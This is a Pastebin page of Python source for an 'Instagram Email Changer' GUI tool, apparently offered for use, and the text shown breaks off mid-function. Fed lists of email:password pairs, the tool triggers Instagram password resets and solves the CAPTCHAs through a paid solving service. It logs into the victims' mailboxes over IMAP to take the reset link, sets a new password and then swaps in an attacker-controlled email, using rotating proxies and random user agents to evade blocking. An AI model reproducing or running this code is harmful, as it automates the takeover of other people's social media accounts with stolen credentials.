Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- import os
- import sys
- import time
- from PyQt4 import QtCore
- from PyQt4 import QtGui
- import requests as http
- import urllib.request as urllib2
- from xml.etree.ElementTree import XML
- from selenium import webdriver
- from selenium.webdriver.common.by import By
- from selenium.webdriver.support.ui import WebDriverWait
- from selenium.webdriver.support import expected_conditions as EC
- from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
- from selenium.webdriver.common.keys import Keys
- from PIL import Image
- import uuid
- import random
- import string
- import imaplib
- import email
- import re
- import traceback
- import quopri
- import datetime
- try:
- _fromUtf8 = QtCore.QString.fromUtf8
- except AttributeError:
- def _fromUtf8(s):
- return s
- try:
- _encoding = QtGui.QApplication.UnicodeUTF8
- def _translate(context, text, disambig):
- return QtGui.QApplication.translate(context, text, disambig, _encoding)
- except AttributeError:
- def _translate(context, text, disambig):
- return QtGui.QApplication.translate(context, text, disambig)
- class Ui_Program(object):
- def setupUi(self, MainWindow):
- MainWindow.setObjectName(_fromUtf8("MainWindow"))
- MainWindow.resize(743, 480)
- self.centralwidget = QtGui.QWidget(MainWindow)
- self.centralwidget.setObjectName(_fromUtf8("centralwidget"))
- self.groupBox = QtGui.QGroupBox(self.centralwidget)
- self.groupBox.setGeometry(QtCore.QRect(10, 10, 721, 111))
- self.groupBox.setObjectName(_fromUtf8("groupBox"))
- self.label = QtGui.QLabel(self.groupBox)
- self.label.setGeometry(QtCore.QRect(10, 20, 101, 22))
- self.label.setObjectName(_fromUtf8("label"))
- self.label_2 = QtGui.QLabel(self.groupBox)
- self.label_2.setGeometry(QtCore.QRect(120, 20, 121, 22))
- self.label_2.setText(_fromUtf8(""))
- self.label_2.setObjectName(_fromUtf8("label_2"))
- self.pushButton = QtGui.QPushButton(self.groupBox)
- self.pushButton.setGeometry(QtCore.QRect(250, 20, 101, 23))
- self.pushButton.setObjectName(_fromUtf8("pushButton"))
- self.label_3 = QtGui.QLabel(self.groupBox)
- self.label_3.setGeometry(QtCore.QRect(370, 20, 101, 22))
- self.label_3.setObjectName(_fromUtf8("label_3"))
- self.label_4 = QtGui.QLabel(self.groupBox)
- self.label_4.setGeometry(QtCore.QRect(480, 20, 121, 22))
- self.label_4.setText(_fromUtf8(""))
- self.label_4.setObjectName(_fromUtf8("label_4"))
- self.pushButton_2 = QtGui.QPushButton(self.groupBox)
- self.pushButton_2.setGeometry(QtCore.QRect(610, 20, 101, 23))
- self.pushButton_2.setObjectName(_fromUtf8("pushButton_2"))
- self.label_5 = QtGui.QLabel(self.groupBox)
- self.label_5.setGeometry(QtCore.QRect(10, 80, 101, 22))
- self.label_5.setObjectName(_fromUtf8("label_5"))
- self.lineEdit = QtGui.QLineEdit(self.groupBox)
- self.lineEdit.setGeometry(QtCore.QRect(120, 80, 191, 22))
- self.lineEdit.setObjectName(_fromUtf8("lineEdit"))
- self.pushButton_3 = QtGui.QPushButton(self.groupBox)
- self.pushButton_3.setGeometry(QtCore.QRect(320, 80, 91, 23))
- font = QtGui.QFont()
- font.setBold(True)
- font.setWeight(75)
- self.pushButton_3.setFont(font)
- self.pushButton_3.setObjectName(_fromUtf8("pushButton_3"))
- self.pushButton_4 = QtGui.QPushButton(self.groupBox)
- self.pushButton_4.setGeometry(QtCore.QRect(420, 80, 91, 23))
- self.pushButton_4.setObjectName(_fromUtf8("pushButton_4"))
- self.label_10 = QtGui.QLabel(self.groupBox)
- self.label_10.setGeometry(QtCore.QRect(10, 50, 101, 22))
- self.label_10.setObjectName(_fromUtf8("label_10"))
- self.label_11 = QtGui.QLabel(self.groupBox)
- self.label_11.setGeometry(QtCore.QRect(120, 50, 61, 22))
- self.label_11.setText(_fromUtf8(""))
- self.label_11.setObjectName(_fromUtf8("label_11"))
- self.pushButton_9 = QtGui.QPushButton(self.groupBox)
- self.pushButton_9.setGeometry(QtCore.QRect(190, 50, 101, 23))
- self.pushButton_9.setObjectName(_fromUtf8("pushButton_9"))
- self.pushButton_8 = QtGui.QPushButton(self.groupBox)
- self.pushButton_8.setGeometry(QtCore.QRect(520, 80, 191, 23))
- self.pushButton_8.setObjectName(_fromUtf8("pushButton_8"))
- self.pushButton_10 = QtGui.QPushButton(self.groupBox)
- self.pushButton_10.setGeometry(QtCore.QRect(450, 50, 101, 23))
- self.pushButton_10.setObjectName(_fromUtf8("pushButton_10"))
- self.label_12 = QtGui.QLabel(self.groupBox)
- self.label_12.setGeometry(QtCore.QRect(300, 50, 101, 22))
- self.label_12.setObjectName(_fromUtf8("label_12"))
- self.label_13 = QtGui.QLabel(self.groupBox)
- self.label_13.setGeometry(QtCore.QRect(390, 50, 51, 22))
- self.label_13.setText(_fromUtf8(""))
- self.label_13.setObjectName(_fromUtf8("label_13"))
- self.label_14 = QtGui.QLabel(self.groupBox)
- self.label_14.setGeometry(QtCore.QRect(560, 50, 61, 22))
- self.label_14.setObjectName(_fromUtf8("label_14"))
- self.comboBox = QtGui.QComboBox(self.groupBox)
- self.comboBox.setGeometry(QtCore.QRect(628, 50, 81, 22))
- self.comboBox.setObjectName(_fromUtf8("comboBox"))
- self.comboBox.addItem(_fromUtf8(""))
- self.comboBox.addItem(_fromUtf8(""))
- self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)
- self.groupBox_2.setGeometry(QtCore.QRect(10, 130, 351, 301))
- self.groupBox_2.setObjectName(_fromUtf8("groupBox_2"))
- self.pushButton_5 = QtGui.QPushButton(self.groupBox_2)
- self.pushButton_5.setGeometry(QtCore.QRect(10, 270, 151, 23))
- self.pushButton_5.setObjectName(_fromUtf8("pushButton_5"))
- self.pushButton_6 = QtGui.QPushButton(self.groupBox_2)
- self.pushButton_6.setGeometry(QtCore.QRect(190, 270, 151, 23))
- self.pushButton_6.setObjectName(_fromUtf8("pushButton_6"))
- self.textEdit = QtGui.QTextEdit(self.groupBox_2)
- self.textEdit.setGeometry(QtCore.QRect(10, 20, 331, 241))
- self.textEdit.setLineWrapMode(QtGui.QTextEdit.NoWrap)
- self.textEdit.setReadOnly(True)
- self.textEdit.setObjectName(_fromUtf8("textEdit"))
- self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)
- self.groupBox_3.setGeometry(QtCore.QRect(380, 130, 351, 301))
- self.groupBox_3.setObjectName(_fromUtf8("groupBox_3"))
- self.textBrowser_2 = QtGui.QTextBrowser(self.groupBox_3)
- self.textBrowser_2.setGeometry(QtCore.QRect(10, 20, 331, 221))
- self.textBrowser_2.setLineWrapMode(QtGui.QTextEdit.NoWrap)
- self.textBrowser_2.setObjectName(_fromUtf8("textBrowser_2"))
- self.label_6 = QtGui.QLabel(self.groupBox_3)
- self.label_6.setGeometry(QtCore.QRect(10, 250, 131, 22))
- self.label_6.setObjectName(_fromUtf8("label_6"))
- self.label_7 = QtGui.QLabel(self.groupBox_3)
- self.label_7.setGeometry(QtCore.QRect(150, 250, 191, 22))
- self.label_7.setObjectName(_fromUtf8("label_7"))
- self.label_8 = QtGui.QLabel(self.groupBox_3)
- self.label_8.setGeometry(QtCore.QRect(10, 270, 131, 22))
- self.label_8.setObjectName(_fromUtf8("label_8"))
- self.label_9 = QtGui.QLabel(self.groupBox_3)
- self.label_9.setGeometry(QtCore.QRect(150, 270, 191, 22))
- self.label_9.setObjectName(_fromUtf8("label_9"))
- MainWindow.setCentralWidget(self.centralwidget)
- self.menubar = QtGui.QMenuBar(MainWindow)
- self.menubar.setGeometry(QtCore.QRect(0, 0, 743, 21))
- self.menubar.setObjectName(_fromUtf8("menubar"))
- MainWindow.setMenuBar(self.menubar)
- self.statusbar = QtGui.QStatusBar(MainWindow)
- self.statusbar.setObjectName(_fromUtf8("statusbar"))
- MainWindow.setStatusBar(self.statusbar)
- self.retranslateUi(MainWindow)
- QtCore.QMetaObject.connectSlotsByName(MainWindow)
- def retranslateUi(self, MainWindow):
- MainWindow.setWindowTitle(_translate("MainWindow", "Instagram Email Changer | by Orphx | Skype: minimatronik16", None))
- self.groupBox.setTitle(_translate("MainWindow", "Настройки", None))
- self.label.setText(_translate("MainWindow", "Файл с email\'ами #1:", None))
- self.pushButton.setText(_translate("MainWindow", "Открыть", None))
- self.label_3.setText(_translate("MainWindow", "Файл с email\'ами #2:", None))
- self.pushButton_2.setText(_translate("MainWindow", "Открыть", None))
- self.label_5.setText(_translate("MainWindow", "Ключ antigate:", None))
- self.pushButton_3.setText(_translate("MainWindow", "СТАРТ", None))
- self.pushButton_4.setText(_translate("MainWindow", "СТОП", None))
- self.label_10.setText(_translate("MainWindow", "Файл с user-agents:", None))
- self.pushButton_9.setText(_translate("MainWindow", "Открыть", None))
- self.pushButton_8.setText(_translate("MainWindow", "Сохранить введенные данные", None))
- self.pushButton_10.setText(_translate("MainWindow", "Открыть", None))
- self.label_12.setText(_translate("MainWindow", "Файл с прокси:", None))
- self.label_14.setText(_translate("MainWindow", "Тип прокси:", None))
- self.comboBox.setItemText(0, _translate("MainWindow", "http", None))
- self.comboBox.setItemText(1, _translate("MainWindow", "socks5", None))
- self.groupBox_2.setTitle(_translate("MainWindow", "Готовые данные", None))
- self.pushButton_5.setText(_translate("MainWindow", "Экспорт в TXT", None))
- self.pushButton_6.setText(_translate("MainWindow", "Очистить", None))
- self.groupBox_3.setTitle(_translate("MainWindow", "ЛОГ", None))
- self.label_6.setText(_translate("MainWindow", "Баланс antigate:", None))
- self.label_7.setText(_translate("MainWindow", "0$", None))
- self.label_8.setText(_translate("MainWindow", "Загруженность antigate:", None))
- self.label_9.setText(_translate("MainWindow", "0%", None))
- class Settings():
- common_settings = QtCore.QSettings(
- 'settings/settings.ini', QtCore.QSettings.IniFormat)
- class Program(QtGui.QMainWindow, Ui_Program):
- def __init__(self, parent=None):
- super(Program, self).__init__(parent)
- self.setupUi(self)
- self.settings = Settings().common_settings
- self.restore_settings()
- self.pushButton_4.setEnabled(False)
- self.pushButton_3.clicked.connect(self.start_changing)
- self.pushButton_8.clicked.connect(self.save_settings)
- self.pushButton_5.clicked.connect(self.export_data)
- self.pushButton_6.clicked.connect(self.clear_data)
- self.pushButton.clicked.connect(self.open_email_1)
- self.pushButton_2.clicked.connect(self.open_email_2)
- self.pushButton_9.clicked.connect(self.open_useragents)
- self.pushButton_10.clicked.connect(self.open_proxy)
- def open_email_1(self):
- path = QtGui.QFileDialog.getOpenFileName(
- self, u"Выберите файл с email #1", "", "TXT (*.txt)")
- self.label_2.setText(path)
- def open_email_2(self):
- path = QtGui.QFileDialog.getOpenFileName(
- self, u"Выберите файл с email #2", "", "TXT (*.txt)")
- self.label_4.setText(path)
- def open_useragents(self):
- path = QtGui.QFileDialog.getOpenFileName(
- self, u"Выберите файл с useragent", "", "TXT (*.txt)")
- self.label_11.setText(path)
- def open_proxy(self):
- path = QtGui.QFileDialog.getOpenFileName(
- self, u"Выберите файл с proxy", "", "TXT (*.txt)")
- self.label_13.setText(path)
- def clear_data(self):
- self.textEdit.clear()
- def export_data(self):
- path = QtGui.QFileDialog.getSaveFileName(
- self, u"Выберите файл для экспорта в TXT", "", "TXT (*.txt)")
- with open(path, "a") as fileforwrite:
- fileforwrite.write(self.textEdit.toPlainText())
- def save_settings(self):
- label_2name = self.label_2.objectName()
- label_2 = self.label_2.text()
- self.settings.setValue(label_2name, label_2)
- label_4name = self.label_4.objectName()
- label_4 = self.label_4.text()
- self.settings.setValue(label_4name, label_4)
- label_11name = self.label_11.objectName()
- label_11 = self.label_11.text()
- self.settings.setValue(label_11name, label_11)
- label_13name = self.label_13.objectName()
- label_13 = self.label_13.text()
- self.settings.setValue(label_13name, label_13)
- lineEditname = self.lineEdit.objectName()
- lineEdit = self.lineEdit.text()
- self.settings.setValue(lineEditname, lineEdit)
- comboBoxname = self.comboBox.objectName()
- comboBox = self.comboBox.currentText()
- self.settings.setValue(comboBoxname, comboBox)
- self.textBrowser_2.append("Настройки сохранены")
- def restore_settings(self):
- label_2name = self.label_2.objectName()
- value = str(self.settings.value(label_2name))
- if value != "None":
- self.label_2.setText(value)
- label_4name = self.label_4.objectName()
- value = str(self.settings.value(label_4name))
- if value != "None":
- self.label_4.setText(value)
- label_11name = self.label_11.objectName()
- value = str(self.settings.value(label_11name))
- if value != "None":
- self.label_11.setText(value)
- label_13name = self.label_13.objectName()
- value = str(self.settings.value(label_13name))
- if value != "None":
- self.label_13.setText(value)
- lineEditname = self.lineEdit.objectName()
- value = str(self.settings.value(lineEditname))
- if value != "None":
- self.lineEdit.setText(value)
- comboBoxname = self.comboBox.objectName()
- value = str(self.settings.value(comboBoxname))
- index = self.comboBox.findText(value, QtCore.Qt.MatchFixedString)
- if index >= 0:
- self.comboBox.setCurrentIndex(index)
- def start_changing(self):
- emails1path = self.label_2.text()
- emails2path = self.label_4.text()
- useragentspath = self.label_11.text()
- proxypath = self.label_13.text()
- antigatekey = self.lineEdit.text()
- proxytype = self.comboBox.currentText()
- if antigatekey == "" or antigatekey is None:
- self.textBrowser.append("Введите ключ antigate.")
- return
- if emails1path == "" or emails1path is None:
- self.textBrowser.append("Введите emails #1.")
- return
- if emails2path == "" or emails2path is None:
- self.textBrowser.append("Введите emails #2.")
- return
- if useragentspath == "" or useragentspath is None:
- self.textBrowser.append("Введите useragents.")
- return
- self.threads_changer = []
- for i in range(1):
- thread = Changer_email(emails1path, emails2path, useragentspath,
- antigatekey, proxypath, proxytype)
- thread.newdata.connect(self.add_new_data)
- thread.started.connect(
- lambda: self.update_log(
- message=u"Работа начата."))
- thread.finished.connect(
- lambda: self.update_log(
- message=u"Работа завершена."))
- thread.exitsignal.connect(self.stop_changing)
- thread.log_message.connect(self.update_log)
- thread.balanceantigate.connect(self.update_ag_balance)
- thread.statisticsantigate.connect(self.update_ag_load)
- self.pushButton_4.clicked.connect(self.stop_changing)
- self.pushButton_4.setEnabled(True)
- self.pushButton_3.setEnabled(False)
- thread.start()
- self.threads_changer.append(thread)
- def stop_changing(self):
- for thread in self.threads_changer:
- try:
- thread.driver.quit()
- except:
- pass
- thread.terminate()
- self.pushButton_3.setEnabled(True)
- self.pushButton_4.setEnabled(False)
- def add_new_data(self, newdata):
- self.textEdit.append(newdata)
- def update_log(self, message):
- self.textBrowser_2.append(message)
- def update_ag_balance(self, balance):
- self.label_7.setText('{0}$'.format(balance))
- def update_ag_load(self, load):
- self.label_9.setText('{0}%'.format(load))
- class Emails1_List():
- emlist1 = []
- class Emails2_List():
- emlist2 = []
- class Proxy_List():
- proxyls = []
- class Changer_email(QtCore.QThread):
- newdata = QtCore.pyqtSignal(str)
- exitsignal = QtCore.pyqtSignal()
- log_message = QtCore.pyqtSignal(str)
- balanceantigate = QtCore.pyqtSignal(str)
- statisticsantigate = QtCore.pyqtSignal(str)
- def __init__(self, emails1path, emails2path, useragentspath,
- antigatekey, proxypath, proxytype, parent=None):
- super(Changer_email, self).__init__(parent)
- self._isRunning = True
- self.emails1path = emails1path
- self.emails2path = emails2path
- self.useragentspath = useragentspath
- self.proxypath = proxypath
- self.antigatekey = antigatekey
- self.proxytype = proxytype
- def stop(self):
- self._isRunning = False
- def run(self):
- emails1 = open(self.emails1path, "r").readlines()
- emails2 = open(self.emails2path, "r").readlines()
- useragents = open(self.useragentspath, "r").readlines()
- try:
- proxy1 = open(self.proxypath, "r").readlines()
- noproxy = False
- except:
- noproxy = True
- for item in emails1:
- if item != "":
- Emails1_List().emlist1.append(item)
- for item in emails2:
- if item != "":
- Emails2_List().emlist2.append(item)
- if noproxy is False:
- for item in proxy1:
- if item != "":
- Proxy_List().proxyls.append(item)
- startlogbadpr = True
- while True:
- resp = ""
- start = True
- print("STEP #1")
- while resp != "Success_solve":
- DesiredCapabilities.PHANTOMJS[
- "phantomjs.page.settings.userAgent"] = random.choice(
- useragents)
- DesiredCapabilities.PHANTOMJS[
- 'phantomjs.page.customHeaders.Accept-Language'] = 'en-US'
- try:
- self.bigproxyauth = Proxy_List().proxyls.pop()
- if ";" in self.bigproxyauth:
- self.proxy = self.bigproxyauth.split(";")[0]
- self.userpass = self.bigproxyauth.split(";")[1]
- else:
- self.proxy = self.bigproxyauth
- self.userpass = ""
- except Exception as e:
- traceback.print_exc()
- if startlogbadpr is True:
- self.log_message.emit(
- "Прокси закончились, работаю без прокси.")
- startlogbadpr = False
- else:
- pass
- self.proxy = ""
- self.userpass = ""
- path = os.path.abspath(
- os.path.join(os.path.dirname(__file__), 'bin', 'driver'))
- self.driver = webdriver.PhantomJS(path, service_args=[
- '--ignore-ssl-errors=true',
- '--proxy=%s' % str(self.proxy),
- '--proxy-type=%s' % str(self.proxytype),
- '--proxy-auth=%s' % str(self.userpass)])
- self.driver.set_window_size(1280, 1024)
- self.driver.set_page_load_timeout(1)
- if start is True:
- try:
- bigemail1 = Emails1_List().emlist1.pop(0)
- bigemail2 = Emails2_List().emlist2.pop(0)
- if " |" in bigemail1:
- em1 = bigemail1.split(" |")[0]
- else:
- em1 = bigemail1
- email1 = em1.split(":")[0]
- password1 = em1.split(":")[1]
- except Exception as e:
- traceback.print_exc()
- self.log_message.emit(
- "Обработанны все записи, завершаю работу.")
- self.driver.quit()
- self.exitsignal.emit()
- try:
- resp = self.changer1(email1)
- except Exception as e:
- traceback.print_exc()
- if resp == "Bad captcha":
- self.driver.quit()
- start = False
- elif resp == "Bad email#1_not_reg":
- self.log_message.emit(
- "Данный email не связан с Instagram - {0}.".format(
- bigemail1.replace("\n", "")))
- Emails2_List().emlist2.insert(0, bigemail2)
- with open("not_reg_emails1.txt", "a") as ad_emails1:
- ad_emails1.write(bigemail1.replace("\n", "") + "\n")
- with open(self.emails1path, "r") as f:
- lines = f.readlines()
- with open(self.emails1path, "w") as f1:
- for line in lines:
- if line != bigemail1.replace("\n", "") + "\n" and line != bigemail1.replace("\n", ""):
- f1.write(line)
- start = True
- self.driver.quit()
- elif resp == "Bad email#1_not_valid":
- self.log_message.emit(
- "Email невалидный - {0}.".format(bigemail1.replace("\n", "")))
- Emails2_List().emlist2.insert(0, bigemail2)
- with open("not_valid_emails1.txt", "a") as ad_emails1:
- ad_emails1.write(bigemail1.replace("\n", "") + "\n")
- with open(self.emails1path, "r") as f:
- lines = f.readlines()
- with open(self.emails1path, "w") as f1:
- for line in lines:
- if line != bigemail1.replace("\n", "") + "\n" and line != bigemail1.replace("\n", ""):
- f1.write(line)
- start = True
- self.driver.quit()
- elif resp == "Too many req":
- time.sleep(5)
- start = False
- self.driver.quit()
- elif resp == "Bad proxy":
- try:
- self.bigproxyauth = Proxy_List().proxyls.pop()
- if ";" in self.bigproxyauth:
- self.proxy = self.bigproxyauth.split(";")[0]
- self.userpass = self.bigproxyauth.split(";")[1]
- else:
- self.proxy = self.bigproxyauth
- self.userpass = ""
- except:
- if startlogbadpr is True:
- self.log_message.emit(
- "Прокси закончились, работаю без прокси.")
- startlogbadpr = False
- else:
- pass
- self.proxy = ""
- self.userpass = ""
- self.driver.quit()
- print("STEP #2")
- while True:
- try:
- resp = self.changer2(email1, password1)
- except Exception as e:
- traceback.print_exc()
- if resp == "Bad host":
- self.log_message.emit(
- "Настройки IMAP4 для данного email не валидны - {0}.".format(bigemail1.replace("\n", "")))
- url = ""
- start = False
- self.driver.quit()
- break
- elif resp == "Bad auth email#1":
- self.log_message.emit(
- "Не удалось войти в почту с указанными логин \ пароль - {0} Error№1.".format(bigemail1.replace("\n", "")))
- with open("bad_auth_email1.txt", "a") as ad_emails1:
- ad_emails1.write(bigemail1.replace("\n", "") + "\n")
- url = ""
- with open(self.emails1path, "r") as f:
- lines = f.readlines()
- with open(self.emails1path, "w") as f1:
- for line in lines:
- if line != bigemail1.replace("\n", "") + "\n" and line != bigemail1.replace("\n", ""):
- f1.write(line)
- start = False
- url = ""
- self.driver.quit()
- break
- elif resp == "Bad search":
- with open(self.emails1path, "r") as f:
- lines = f.readlines()
- with open(self.emails1path, "w") as f1:
- for line in lines:
- if line != bigemail1.replace("\n", "") + "\n" and line != bigemail1.replace("\n", ""):
- f1.write(line)
- url = ""
- start = False
- try:
- bigemail1 = Emails1_List().emlist1.pop(0)
- if " |" in bigemail1:
- em1 = bigemail1.split(" |")[0]
- else:
- em1 = bigemail1
- email1 = em1.split(":")[0]
- password1 = em1.split(":")[1]
- self.driver.quit()
- except:
- self.log_message.emit(
- "Обработанны все записи, завершаю работу.")
- self.driver.quit()
- self.exitsignal.emit()
- break
- elif "Success" in resp:
- url = resp.split("|")[1]
- username = resp.split("|")[2]
- newpassword = self.changer3(url)
- if newpassword == "Invalid link":
- pass
- else:
- break
- if url != "":
- print("STEP #3")
- self.changer4(username, newpassword)
- print("STEP #4")
- while True:
- resp = self.changer5(bigemail2)
- if resp == "Email in use#1":
- self.log_message.emit(
- "Данный email уже используется - {0}.".format(bigemail2.replace("\n", "")))
- with open(self.emails2path, "r") as f:
- lines = f.readlines()
- with open(self.emails2path, "w") as f1:
- for line in lines:
- if line != bigemail2.replace("\n", "") + "\n" and line != bigemail1.replace("\n", ""):
- f1.write(line)
- try:
- bigemail2 = Emails2_List().emlist2.pop(0)
- except:
- self.log_message.emit(
- "Обработанны все записи, завершаю работу.")
- self.driver.quit()
- self.exitsignal.emit()
- elif resp == "Bad host":
- self.log_message.emit(
- "Настройки IMAP4 для данного email не валидны - {0}.".format(bigemail2.replace("\n", "")))
- try:
- bigemail2 = Emails2_List().emlist2.pop(0)
- except:
- self.log_message.emit(
- "Обработанны все записи, завершаю работу.")
- self.driver.quit()
- self.exitsignal.emit()
- elif resp == "Bad auth email#2":
- print("Bad auth email#2")
- # Emails1_List().emlist2.insert(0, bigemail1)
- with open(self.emails2path, "r") as f:
- lines = f.readlines()
- with open(self.emails2path, "w") as f1:
- for line in lines:
- if line != bigemail2.replace("\n", "") + "\n" and line != bigemail1.replace("\n", ""):
- f1.write(line)
- self.log_message.emit(
- "Не удалось войти в почту с указанными логин \ пароль - {0} Error№2.".format(bigemail2.replace("\n", "")))
- with open("bad_auth_email2.txt", "a") as ad_emails1:
- ad_emails1.write(
- bigemail2.replace("\n", "") + "\n")
- try:
- bigemail2 = Emails2_List().emlist2.pop(0)
- except:
- self.log_message.emit(
- "Обработанны все записи, завершаю работу.")
- self.driver.quit()
- self.exitsignal.emit()
- elif resp == "Bad search":
- with open(self.emails2path, "r") as f:
- lines = f.readlines()
- with open(self.emails2path, "w") as f1:
- for line in lines:
- if line != bigemail2.replace("\n", "") + "\n" and line != bigemail1.replace("\n", ""):
- f1.write(line)
- try:
- bigemail2 = Emails2_List().emlist2.pop(0)
- except:
- self.log_message.emit(
- "Обработанны все записи, завершаю работу.")
- self.driver.quit()
- self.exitsignal.emit()
- elif resp == "Block by istagram":
- start = True
- break
- elif resp == "Success":
- if " |" in bigemail2:
- em2 = bigemail2.split(" |")[0]
- else:
- em2 = bigemail2
- email2 = em2.split(":")[0]
- password2 = em2.split(":")[1]
- self.newdata.emit(
- username.replace("\n", "") + ":" + newpassword.replace("\n", "") + ":" + email2.replace("\n", "") + ":" + password2.replace("\n", ""))
- with open(self.emails1path, "r") as f:
- lines = f.readlines()
- with open(self.emails1path, "w") as f1:
- for line in lines:
- if line != bigemail1.replace("\n", "") + "\n" and line != bigemail1.replace("\n", ""):
- f1.write(line)
- with open(self.emails2path, "r") as f:
- lines = f.readlines()
- with open(self.emails2path, "w") as f1:
- for line in lines:
- if line != bigemail2.replace("\n", "") + "\n" and line != bigemail1.replace("\n", ""):
- f1.write(line)
- start = True
- Proxy_List().proxyls.append(self.bigproxyauth)
- break
- self.driver.quit()
- def changer1(self, email1):
- self.driver.delete_all_cookies()
- try:
- self.driver.get(
- "https://www.instagram.com/accounts/password/reset/")
- except:
- pass
- try:
- WebDriverWait(self.driver, 25).until(
- EC.visibility_of_element_located(
- (By.XPATH,
- "//*[@id='recaptcha_challenge_image']")))
- except:
- self.log_message.emit("Неполадки с соединением, нет связи или плохой прокси.")
- self.driver.quit()
- return "Bad proxy"
- self.driver.find_element(By.XPATH,
- "//*[@id='id_email_or_username']").clear()
- self.driver.find_element(By.XPATH,
- "//*[@id='id_email_or_username']").send_keys(
- email1)
- element = self.driver.find_element(By.XPATH,
- "//*[@id='recaptcha_challenge_image']")
- location = element.location
- size = element.size
- self.driver.save_screenshot('captches/temporary_captcha.png')
- im = Image.open('captches/temporary_captcha.png')
- left = int(location['x'])
- top = location['y']
- right = int(location['x']) + size['width']
- bottom = location['y'] + size['height']
- im = im.crop((left, top, right, bottom))
- captcha1 = "captches/captcha_" + str(uuid.uuid4()) + ".png"
- captcha = captcha1.replace("-", "")
- im.save(captcha)
- a = Antigate(self.antigatekey)
- a.params = {'is_russian': '1'}
- balance = a.balance()
- self.balanceantigate.emit(str(balance))
- load = a.load()
- self.statisticsantigate.emit(load)
- solvedcaptcha = ""
- while solvedcaptcha != "ERROR_NO_SLOT_AVAILABLE":
- captcha2 = a.capcha(captcha)
- solvedcaptcha = "{0}".format(captcha2)
- if len(str(captcha2)) < 2:
- captcha2.bad()
- print("CALL BAD CAPTCHA")
- elif solvedcaptcha == "ERROR_NO_SLOT_AVAILABLE":
- self.log_message.emit(
- "Сервис антигейт перегружен(ERROR_NO_SLOT_AVAILABLE), жду 3 секунды...")
- time.sleep(3)
- elif solvedcaptcha == "ERROR_ZERO_BALANCE":
- self.log_message.emit(
- "Нулевой баланс на антигейт, выход.")
- self.driver.quit()
- self.exitsignal.emit()
- elif solvedcaptcha == "ERROR_CAPTCHA_UNSOLVABLE":
- return "Bad captcha"
- else:
- break
- print('Capcha text: {0}'.format(solvedcaptcha))
- self.driver.find_element(By.XPATH,
- "//*[@id='recaptcha_response_field']").clear()
- self.driver.find_element(By.XPATH,
- "//*[@id='recaptcha_response_field']").send_keys(
- solvedcaptcha)
- self.driver.find_element_by_xpath(
- '//input[@type="submit"]').send_keys(Keys.ENTER)
- count = 0
- while True:
- try:
- self.driver.find_element(By.XPATH,
- "//p[contains(text(), 'Thanks! Please check')]")
- os.remove(captcha)
- return "Success_solve"
- except Exception as e:
- # traceback.print_exc()
- print("0")
- try:
- self.driver.find_element(By.XPATH,
- u"//p[contains(text(),'captcha solution was not correct')]")
- captcha2.bad()
- print("Bad captcha")
- os.remove(captcha)
- return "Bad captcha"
- except Exception as e:
- print("1")
- try:
- self.driver.find_element(By.XPATH,
- '''//p[contains(text(),"doesn't have an associated user account")]''')
- os.remove(captcha)
- return "Bad email#1_not_reg"
- except Exception as e:
- print("2")
- try:
- self.driver.find_element(By.XPATH,
- "//p[contains(text(), 'Sorry, this user is not active')]")
- os.remove(captcha)
- return "Bad email#1_not_valid"
- except Exception as e:
- print("3")
- time.sleep(1)
- self.driver.save_screenshot("test1.png")
- count += 1
- if count > 12:
- os.remove(captcha)
- return "Too many req"
- def changer2(self, email1, password1):
- host1 = email1.split("@")[1]
- with open("hosts.txt", "r") as hosts:
- hosts = hosts.readlines()
- for host in hosts:
- if host1.replace("\n", "") in host:
- break
- while True:
- try:
- mail = imaplib.IMAP4_SSL(host.replace("\n", ""))
- except Exception as e:
- traceback.print_exc()
- return "Bad host"
- try:
- print(email1.replace("\n", "") + "1")
- print(password1.replace("\n", "") + "1")
- mail.login(
- email1.replace("\n", ""), password1.replace("\n", ""))
- except Exception as e:
- traceback.print_exc()
- return "Bad auth email#1"
- mail.select('inbox')
- try:
- status, messages = mail.search(None, '(UNSEEN)')
- except:
- return "Bad search"
- try:
- ids = messages[0]
- id_list = ids.split()
- latest_email_id = id_list[-1]
- print(latest_email_id.decode("UTF-8"))
- result, data = mail.fetch(latest_email_id.decode("UTF-8"), "(RFC822)")
- raw_email1 = data[0][1]
- raw_email = quopri.decodestring(raw_email1.decode("UTF-8"))
- msg = email.message_from_bytes(raw_email)
- if msg.is_multipart():
- for payload in msg.get_payload():
- mess = payload.get_payload()
- else:
- mess = msg.get_payload()
- urls = re.findall(
- 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', mess)
- assert "instagram" in urls[2]
- assert "instagram" in urls[1]
- print(urls[2])
- acc1 = urls[1]
- username = acc1.split("/")[3]
- print(username)
- break
- except Exception as e:
- mail.close()
- mail.logout()
- traceback.print_exc()
- time.sleep(1)
- try:
- mail.logout()
- except:
- pass
- return "Success" + "|" + urls[2] + "|" + username
- def changer3(self, url):
- try:
- self.driver.get(url)
- except:
- pass
- try:
- WebDriverWait(self.driver, 25).until(
- EC.visibility_of_element_located((By.XPATH,
- "//*[@id='id_new_password1']")))
- except Exception as e:
- print("Invalid link")
- self.driver.save_screenshot("test5.png")
- traceback.print_exc()
- return "Invalid link"
- newpassword = ''.join(
- random.choice(
- string.ascii_uppercase + string.digits) for _ in range(8))
- self.driver.find_element(By.XPATH,
- "//*[@id='id_new_password1']").clear()
- self.driver.find_element(By.XPATH,
- "//*[@id='id_new_password1']").send_keys(
- newpassword)
- self.driver.find_element(By.XPATH,
- "//*[@id='id_new_password2']").clear()
- self.driver.find_element(By.XPATH,
- "//*[@id='id_new_password2']").send_keys(
- newpassword)
- self.driver.find_element_by_xpath(
- "//input[@type='submit']").send_keys(Keys.ENTER)
- try:
- WebDriverWait(self.driver, 40).until(
- EC.visibility_of_element_located(
- (By.XPATH, "//button[contains(text(),'Log in')]")))
- except Exception as e:
- traceback.print_exc()
- self.driver.save_screenshot("test2.png")
- self.log_message.emit("Неполадки с соединением, нет связи.")
- self.driver.quit()
- self.exitsignal.emit()
- return newpassword
- def changer4(self, username, newpassword):
- self.driver.save_screenshot("test4.png")
- try:
- self.driver.get("https://www.instagram.com/accounts/login/")
- except:
- pass
- a = False
- try:
- self.driver.find_element(By.XPATH,
- "//input[@placeholder='Search']")
- a = True
- except:
- pass
- if a is False:
- try:
- WebDriverWait(self.driver, 40).until(
- EC.visibility_of_element_located(
